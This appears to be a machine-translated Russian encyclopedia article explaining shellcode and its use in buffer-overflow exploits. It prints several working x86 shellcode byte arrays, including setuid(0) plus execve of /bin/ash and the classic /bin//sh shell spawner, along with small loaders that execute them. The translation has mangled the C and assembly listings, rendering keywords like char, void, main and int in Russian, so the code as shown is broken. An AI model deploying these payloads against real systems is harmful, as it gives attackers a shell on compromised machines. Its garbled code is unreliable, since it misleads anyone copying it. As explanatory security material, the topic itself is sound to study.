Шелл-код
Шелл -код представляет собой набор команд, обычно запрограммированных на языке ассемблера и переведенных в коды операций (набор шестнадцатеричных значений), которые обычно вводятся в стек выполнения (или стек) программы, чтобы заставить машину, на которой он находится, выполнить запланированную операцию. .
Срок
Термин « шеллкод» происходит от их общего назначения, это была часть эксплойта , используемого для получения оболочки , в настоящее время это наиболее распространенная цель, для которой они используются.
Пример шеллкода Pascal
Для выполнения шелл-кода обычно используется язык более высокого уровня, например язык Pascal . Коды операций , полученные из нашего ассемблерного кода, перечислены в массиве типа byte и загружены в прототип для вызова.
Пример шеллкода следующий:
Запуск прототипа 'Переменные. Var ShellCode[]: Byte ' Массив байтов для OpCode.. Var Prototype:Exec ' Прототип, который будет выполнять ShellCode. ' Инициализировать/загрузить ShellCode. ShellCode = [&31,&d2,&b2,&30,&64,&8b,&12,&8b,&52,&0c,&8b,&52,&1c,&8b,&42 _ ,&08,&8b,&72,&20,&8b,&12,&80,&7e,&0c,&33,&75,&f2,&89,&c7,&03 _ ,&78,&3c,&8b,&57,&78,&01,&c2,&8b,&7a,&20,&01,&c7,&31,&ed,&8b _ ,&34,&af,&01,&c6,&45,&81,&3e,&46,&61,&74,&61,&75,&f2,&81,&7e _ ,&08,&45,&78,&69,&74,&75,&e9,&8b,&7a,&24,&01,&c7,&66,&8b,&2c _ ,&6f,&8b,&7a,&1c,&01,&c7,&8b,&7c,&af,&fc,&01,&c7,&68,&79,&74 _ ,&65,&01,&68,&6b,&65,&6e,&42,&68,&20,&42,&72,&6f,&89,&e1,&fe_ ,&49,&0b,&31,&c0,&51,&50,&ff,&d7] «Мы устанавливаем код прототипа для выполнения. Прототип@ = ShellCode[0]@ ' Мы выполняем ShellCode. Прототип
Как видно, коды операций — это шестнадцатеричные значения, которые преобразуются в байты (целочисленные значения от 0 до 255) и которые операционная система понимает как исполняемый ею ассемблерный код.
Пример шеллкода C
В следующем примере показан шеллкод, содержащийся в массиве программы, написанной на языке C:
символьный шеллкод[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb0\x46" /* мов $0x46,%al */
"\xcd\x80" /* целое число $0x80 */
"\x50" /* pushl %eax */
"\x68""/ash" /* pushl $0x6873612f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* мовл %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* мовл %esp,%ecx */
"\xb0\x0b" /* мовб $0x0b,%al */
"\xcd\x80" /* целое число $0x80 */
;
Итак, мы имеем, что шелл-код — это машинный код, записанный в шестнадцатеричной системе счисления . Позже они используются в программах, написанных на C, как в следующем примере шелл-кода:
// шеллкод.c
// скомпилировать с шеллкодом gcc.c -o шеллкод
пустая функция()
{
((пусто(*)(пусто))
{
"\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9"
"\xb0\x04\xb3\x01\x59\xb2\x21\xcd\x80\x31"
"\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff"
"\xff\xff\x76\x69\x73\x69\x74\x61\x20\x68"
"\x74\x74\x70\x3a\x2f\x2f\x68\x65\x69\x6e"
"\x7a\x2e\x68\x65\x72\x6c\x69\x74\x7a\x2e"
"\x63\x6c\x20\x3d\x29"
}
)();
}
Или это другое:
char шеллкод [] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";
внутренний()
{
пустота (*fp)();
fp = (void*) &shellcode;
фп();
}
Информация
Шелл-коды должны быть короткими, чтобы их можно было внедрить в стек, который обычно занимает мало места.
Шелл-коды используются для выполнения кода путем эксплуатации определенных уязвимостей в коде, называемых переполнением буфера . В основном шелл-код запрограммирован таким образом, чтобы интерпретатор команд запускался на зараженном компьютере.
Обычно при компиляции шелл- кода создаются нулевые байты , которые необходимо исключить из него, так как они остановили бы выполнение шелл-кода. Для этого программист использует различные методы, такие как замена инструкций, которые генерируют байты NULL, на другие, которые этого не делают, или выполнение операции XOR, переход к регистрам меньшего размера (например, AH, AL), что позволяет действительно внедрять шелл-код. .